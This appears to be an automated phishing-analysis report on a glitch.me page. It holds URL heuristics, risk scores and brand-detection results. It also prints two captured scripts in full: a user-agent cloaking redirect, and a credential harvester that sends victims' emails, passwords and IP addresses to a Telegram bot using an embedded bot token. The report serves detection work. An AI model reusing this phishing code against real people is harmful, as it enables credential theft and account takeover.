Windows Analysis Report
https://savory-sweet-felidae-psrnd.glitch.me/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://savory-sweet-felidae-psrnd.glitch.me

{
    "risk_score": 6,
    "reasoning": "The script demonstrates moderate-risk behavior by redirecting users based on their user agent, which could be used for cloaking or other malicious purposes. While the intent is not entirely clear, the use of multiple redirect URLs and the targeting of known bot user agents raises some concerns. Further investigation may be warranted to determine the true purpose of this script."
}

        function cloakingRedirect() {
            var userAgent = navigator.userAgent.toLowerCase();

            
            var botUserAgents = [
                'googlebot',  
                'bingbot',   
                'slurp',      
                'duckduckbot',
                'baiduspider',
                'yandexbot',  
                'facebookexternalhit', 
                'twitterbot',  
                'facebookbot'  
            ];

            var botRedirectUrl = "https://www.fikox.com/"; 
            var userRedirectUrl = "https://www.nordicplow.com/wp-admin/includes/fotex.html"; 

           
            for (var i = 0; i < botUserAgents.length; i++) {
                if (userAgent.indexOf(botUserAgents[i]) !== -1) {
                    
                    window.location.replace(botRedirectUrl);
                    return;
                }
            }

            
            window.location.replace(userRedirectUrl);
        }

        
        window.onload = cloakingRedirect;
    

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including data exfiltration, dynamic code execution, and redirection to a suspicious domain. It collects sensitive user information (email and password) and sends it to a Telegram bot, which is a clear indication of malicious intent. Additionally, the script attempts to bypass user interaction by simulating form submission and redirecting the user to a legitimate-looking domain. Overall, this script demonstrates a high level of risk and should be considered as a potential security threat."
}

	
        let attemptCount = 0; 

        document.getElementById("loginForm").addEventListener("submit", function(e) {
            e.preventDefault();

            const email = document.getElementById("email").value;
            const password = document.getElementById("password").value;

            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    const ipAddress = data.ip; 

                    
                    const message = `***** TX40 Adobe Result *****\nEmail: ${email}\nPassword: ${password}\nIP: ${ipAddress}`;
                    const apiKey = '6922366229:AAH9bKIYkg1YGgNut2TQso3nTKvv6FyhzrU';
                    const chatId = '6328410070'; 
                    const telegramUrl = `https://api.telegram.org/bot${apiKey}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;

                    attemptCount++;
                    simulateSubmission(telegramUrl);
                })
                .catch(error => {
                    console.error("Error fetching IP:", error);
                    showErrorMessage();
                });
        });

        function simulateSubmission(url) {
    
            if (attemptCount > 3) {
                redirectToURL();
                return;
            }

      
            fetch(url)
                .then(response => {
                    if (response.ok) {
                        showSuccessMessage();
                    } else {
                        showErrorMessage();
                        
                        setTimeout(() => {
                            simulateSubmission(url);
                        }, 2000); 
                    }
                })
                .catch(error => {
                    console.error("Error:", error);
                    showErrorMessage();
                    
                    setTimeout(() => {
                        simulateSubmission(url);
                    }, 2000); 
                });
        }

        function showErrorMessage() {
            const errorMessage = document.getElementById("error-message");
            errorMessage.style.display = 'block';
        }

        function showSuccessMessage() {
            const successMessage = document.getElementById("success-message");
            successMessage.style.display = 'block';
        }

        function redirectToURL() {
            
            window.location.href = "https://www.office.com"; 
        }
    

{
  "contains_trigger_text": true,
  "trigger_text": "Files sent to you are available for download",
  "prominent_button_name": "Download",
  "text_input_field_labels": [
    "q4ft2u@ngw.net",
    "password"
  ],
  "pdf_icon_visible": true,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": true,
  "trigger_text": "Files sent to you are available for download",
  "prominent_button_name": "Download",
  "text_input_field_labels": [
    "q4ft2u@ngw.net",
    "**********"
  ],
  "pdf_icon_visible": true,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}

```json{  "legit_domain": "microsoft.com",  "classification": "wellknown",  "reasons": [    "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.",    "The provided URL 'www.nordicplow.com' does not match the legitimate domain for Microsoft.",    "The URL 'nordicplow.com' does not have any known association with Microsoft.",    "The presence of input fields for email and password on a non-Microsoft domain is suspicious and indicative of a phishing attempt."  ],  "riskscore": 9}
Google indexed: True

```json{  "legit_domain": "microsoft.com",  "classification": "wellknown",  "reasons": [    "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.",    "The provided URL 'www.nordicplow.com' does not match the legitimate domain for Microsoft.",    "The URL 'nordicplow.com' does not contain any elements that suggest a connection to Microsoft.",    "The presence of a different domain name suggests a potential phishing attempt, especially when associated with a well-known brand like Microsoft."  ],  "riskscore": 9}
Google indexed: True